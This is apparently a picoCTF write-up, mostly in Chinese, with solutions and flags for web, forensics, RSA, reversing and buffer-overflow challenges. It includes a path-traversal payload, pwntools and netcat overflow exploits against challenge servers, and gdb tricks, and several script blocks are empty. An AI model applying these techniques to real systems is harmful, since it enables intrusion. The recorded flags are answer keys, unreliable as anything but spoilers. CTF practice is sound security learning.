PicoCTF - Easy Peasy Or Bad Questions
[TOC]
Challenge: logon🍰
Exploit - Set cookie
Challenge: where are the robots🍰
Exploit - robots.txt
Payload: https://jupiter.challenges.picoctf.org/problem/56830/robots.txt
Payload:
https://jupiter.challenges.picoctf.org/problem/56830/1bb4c.html
Challenge: Packets Primer🍰
Exploit - search {
string directly
Challenge: Disk, disk, sleuth!🍰
Exploit - Strings search
$ file dds1-alpine.flag.img.gz
dds1-alpine.flag.img.gz: gzip compressed data, was "dds1-alpine.flag.img", last modified: Tue Mar 16 00:19:24 2021, from Unix, original size modulo 2^32 134217728
$ gzip -d dds1-alpine.flag.img.gz
$ ls
dds1-alpine.flag.img
$ strings dds1-alpine.flag.img | grep "pico"
ffffffff81399ccf t pirq_pico_get
ffffffff81399cee t pirq_pico_set
ffffffff820adb46 t pico_router_probe
SAY picoCTF{f0r3ns1c4t0r_n30phyt3_564ff1a0}
Challenge: Sleuthkit Apprentice🍰
Exploit - FTK Imager
Challenge: St3g0🍰
Exploit - zsteg
Challenge: The Numbers🍰
Exploit - Alphabetic Sequence
A $\to$ 1
B $\to$ 2
…
Z $\to$ 26
Flag: PICOCTF{THENUMBERSMASNO}
Challenge: b00tl3gRSA2🍰
Very similar to Dachshund Attacks
Exploit - Large e
in RSA
:::spoiler Exploit Script
1 |
|
:::
Challenge: Sum-O-Primes🍰
Source Code
:::spoiler Source Code
1 |
|
:::
Exploit - Easy
題目給了$x=p+q$,而我們的目標是求出$(p-1)*(q-1)=pq-p-q+1=n-x+1$ :::spoiler Exploit Script
1 |
|
:::
Challenge: b00tl3gRSA3🍰
Recon
- Description: Why use p and q when I can use more?
- Hint: There’s more prime factors than p and q, finding d is going to be different. 和這題幾乎一樣
Exploit - Smooth Value
- 先用online tool
1
n = 9391862407×9430502773×10075292329×11026721677×11040417907×11226344687×11251922861×11323087873×11823788947×11956868381×11988198241×12275776127×12481146047×12665684987×12913613113×13994049331×14050490287×14654363873×15023405711×15220261411×15307561417×15368817697×15407160677×15542678147×15597563977×15670906213×15937323977×16033412617×16069849819×16364771063×16708525877×16824901871×16945613717×16989252559
- 寫Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse p_q_factor = [9391862407,9430502773,10075292329,11026721677,11040417907,11226344687,11251922861,11323087873,11823788947,11956868381,11988198241,12275776127,12481146047,12665684987,12913613113,13994049331,14050490287,14654363873,15023405711,15220261411,15307561417,15368817697,15407160677,15542678147,15597563977,15670906213,15937323977,16033412617,16069849819,16364771063,16708525877,16824901871,16945613717,16989252559] c = 205177004615238731351591289040361532005323127359264835947822740716983136768854567377695810379804519529001108024493036086993996665747898010286174708794831060625006137526368615944348139474971845237186225728575712792546002359378966044221352721991288514552994761886718307832529541998738515780841823857133357743562860987020334737036728017641876582542 n = 325639898609361998216675485356547029510334941438608718141166837901883899013721165219381706028192734268885029193084232593567285725019760847868933043664019031900580901169223676044511691181256188001312697240016796398130516789089663998776488278420247724141996094725183171258977283897111350310752334184134343620555307982038647996863698517917545473309 e = 65537 phi = 1 for i in range(len(p_q_factor)): phi = (p_q_factor[i] - 1) * phi d = inverse(e, phi) print(long_to_bytes(pow(c, d, n)))
Flag:
b'picoCTF{too_many_fact0rs_8606199}'
Challenge: SOAP🍰
Exploit - The simplest XXE
Payload:
1 |
|
Challenge: picobrowser🍰
Exploit
才剛寫完Who are you?就覺得案情不單純,只要把header User-Agent變成picobrowser就可以了
Flag: picoCTF{p1c0_s3cr3t_ag3nt_84f9c865}
Challenge: Client-side-again🍰
Exploit - Reverse Script
一開始先recon一下,我用burp抓了一下packet,發現他是把密碼在local端做驗證,所以要做的就只是要有耐心的分析一下source code :::spoiler Source Code
1 |
|
:::
Flag: picoCTF{not_this_again_ef49bf}
Challenge: Forbidden Paths🍰
Description:
We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?
Exploit - Easy LFI
Payload: filename=../../../../flag.txt&read=
Flag: picoCTF{7h3_p47h_70_5ucc355_e5a6fcbc}
Challenge: keygenme🍰
Source
:::spoiler IDA Main Function
1 |
|
::: :::spoiler IDA Check Flag Function
1 |
|
:::
Exploit
直接動態跑到最後看memory就會知道key是picoCTF{br1ng_y0ur_0wn_k3y_19836cd8}
Challenge: basic-file-exploit
Background
Source Code
:::spoiler Source Code
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
static char data[10][100];
static int input_lengths[10];
static int inputs = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
static void data_write() {
char input[100];
char len[4];
long length;
int r;
printf("Please enter your data:\n");
r = tgetinput(input, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}
if (inputs > 10) {
inputs = 0;
}
strcpy(data[inputs], input);
input_lengths[inputs] = length;
printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}
:::
Recon
這一題感覺真的不像PWN題,比較像是reverse
- 注意讀取flag的地方是在
data_read()
的地方,且entry要是零 我一開始的想法是往回推,所以要進到data_read()
一開始的input就要選2
,但會得到No data yet
的結果,原因是input變數還是零(一開始的global variable有定義initia l value) - 所以現在必須要想如何才能改變input variable的變數,答案就是
data_write()
,當寫入字串成功時會在這個function的最後給予一個entry,其實就是input++
得來的,所以我們要做的事情就是 先寫任意的數值的database $\to$ 進入data_read()
讀取entry 0的data
Exploit - Reverse Carefully
1 |
|
Challenge: buffer overflow 0🍰
Source Code
:::spoiler Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
:::
Recon
這一題比想像中簡單,算是給新手認識BoF的機會,可以看到source code中寫到只要觸發segmentation fault就會轉給sigsegv_handler
這個function把flag印出來,而會遇到segmentation fault的地方就是第18行的strcpy function,只要給的input length大於buf2就會產生
Exploit - Simple BoF
1 |
|
實測需要輸入20個字元才會觸發
Challenge: clutter-overflow🍰
Recon
應該算是最簡單的BoF,可以用靜態或是動態的方式觀察offset有多少,然後把code的地方蓋成0xdeadbeef就可以拿到flag了
Exploit
from pwn import *
# r = process('chall')
r = remote("mars.picoctf.net", 31890)
r.recvuntil(b'What do you see?\n')
r.sendline(b'a' * (0x110-0x8) + p64(0xdeadbeef))
r.interactive()
Flag: picoCTF{c0ntr0ll3d_clutt3r_1n_my_buff3r}
Challenge: wine
Recon
這題很爛的原因是明明很簡單,但是用pwntools寫script卻沒辦法成功,但payload是一樣的,我有想過要用python -c的方式pipe out給server但一樣不成功,不知道為甚麼,看了其他人的WP也有提到一樣的問題,搞得我好亂啊啊啊啊啊啊啊!!!
(23/8/4)更新:打windows的題目要把new line改成\r\n,所以才會沒有成功
Exploit
:::spoiler
$ echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0\x15@\x00" | nc saturn.picoctf.net 50417
Give me a string!
picoCTF{Un_v3rr3_d3_v1n_dcc38bed}
Unhandled exception: page fault on read access to 0x7fec3900 in 32-bit code (0x7fec3900).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
EIP:7fec3900 ESP:0064fe84 EBP:61616161 EFLAGS:00010206( R- -- I - -P- )
EAX:00000000 EBX:00230e78 ECX:0064fe14 EDX:7fec48f4
ESI:00000005 EDI:0021d6d0
Stack dump:
0x0064fe84: 00000000 00000004 00000000 7b432ecc
0x0064fe94: 00230e78 0064ff28 00401386 00000002
0x0064fea4: 00230e70 006d0da0 7bcc4625 00000004
0x0064feb4: 00000008 00230e70 0021d6d0 0077ccf9
0x0064fec4: 28364527 00000000 00000000 00000000
0x0064fed4: 00000000 00000000 00000000 00000000
Backtrace:
=>0 0x7fec3900 (0x61616161)
0x7fec3900: addb %al,0x0(%eax)
Modules:
Module Address Debug info Name (5 modules)
PE 400000- 44b000 Deferred vuln
PE 7b020000-7b023000 Deferred kernelbase
PE 7b420000-7b5db000 Deferred kernel32
PE 7bc30000-7bc34000 Deferred ntdll
PE 7fe10000-7fe14000 Deferred msvcrt
Threads:
process tid prio (all id:s are in hex)
00000008 vuln.exe
00000009 0
0000000c services.exe
0000000e 0
0000000d 0
0000001f (D) Z:\challenge\vuln.exe
00000020 0 <==
00000024 explorer.exe
00000025 0
System information:
Wine build: wine-5.0 (Ubuntu 5.0-3ubuntu1)
Platform: i386
Version: Windows Server 2008 R2
Host system: Linux
Host version: 5.19.0-1024-aws
::: (23/8/4)更新:New Exploit
from pwn import *
r = remote("saturn.picoctf.net", 53396)
# r = process("./vuln.exe")
r.recvline()
context.newline = b'\r\n'
payload = b'a'*0x8c + p32(0x401530)
r.sendline(payload)
r.interactive()
Flag: picoCTF{Un_v3rr3_d3_v1n_dcc38bed}
Challenge: Local Target🍰
Recon
這一題超簡單,不知道為啥超少人解,就只是蓋掉原本的num變成65而已
Exploit - Array Bound
1 |
|
Flag: picoCTF{l0c4l5_1n_5c0p3_fee8ef05}
Challenge: Picker IV🍰
Recon
這一題也是超簡單但是不知道為啥也很少人解,單純的return 2 series
$ file picker-IV
picker-IV: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=12b33c5ff389187551aae5774324da558cee006c, for GNU/Linux 3.2.0, not stripped
$ checksec picker-IV
[*] '/mnt/d/NTU/CTF/PicoCTF/PWN/Picker IV/picker-IV'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ objdump -d -M intel ./picker-IV | grep "win"
000000000040129e <win>:
4012d2: 75 16 jne 4012ea <win+0x4c>
4012f9: eb 1a jmp 401315 <win+0x77>
401319: 75 e0 jne 4012fb <win+0x5d>
Exploit - Ret2Funcntion
$ echo "40129e" | nc saturn.picoctf.net 50048
Enter the address in hex to jump to, excluding '0x': You input 0x40129e
You won!
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_01672a61}
Flag: picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_01672a61}
Challenge: Hurry up! Wait!🍰
Recon & Prepare
$ file svchost.exe
svchost.exe: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dea7ec3bad6aeab52804d2a614b132f4af2a1025, stripped
$ checksec svchost.exe
[*] '/mnt/d/NTU/CTF/PicoCTF/Reverse/Hurry up! Wait!/svchost.exe'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
這一題唯一要注意的是可能會遇到
$ ./svchost.exe
./svchost.exe: error while loading shared libraries: libgnat-7.so.1: cannot open shared object file: No such file or directory
這個問題,所以只要安裝libgnat-7
就可以了
$ sudo apt-get install -y libgnat-7
安裝完之後先執行看看,發現沒有任何output或是其他提示,所以用ida看了一下會發現他在main->sub_298A()->ada__calendar__delays__delay_for(1000000000000000LL);
有檔一個delay,預期只要跳過這個地方就可以完成後續的step
Exploit
$ gdb svchost.exe
gef➤ starti
gef➤ vmmap # 先確認code section的base address在哪
gef➤ b *(0x555555400000+0x2998)
gef➤ c
gef➤ j *(0x555555400000+0x299d)
這樣就可以拿到flag
Flag: picoCTF{d15a5m_ftw_87e5ab1}
Challenge: droid0
Recon & Prepare
這一題簡單到不可思議,難的地方是要想辦法把他run起來,不是指用android studio而是進入android studio之後,不確定是不是版本太舊或是其他原因他會一直噴錯,再加上是第一次使用這個工具,所以也不確定要看哪邊解決問題,所以如果有人遇到模擬器開不起來的狀況,可以看一下最右邊的notification,他會告訴你缺了甚麼,要不要安裝之類的簡單排除問題
Exploit
在emulator上隨便打一些字,然後click button,只要查看底下的log就會看到flag了
Flag: picoCTF{a.moose.once.bit.my.sister}
Challenge: WebNet1🍰
Exploit - Import TLS Key / String Seach
承接WebNet0,先import題目提供的private key解密中間所有的通訊,然後會看到中間有query一個網站,他提供了一張禿鷹的圖片,把圖片dump下來後直接string search就可以拿到flag
1 |
|
Flag: picoCTF{honey.roasted.peanuts}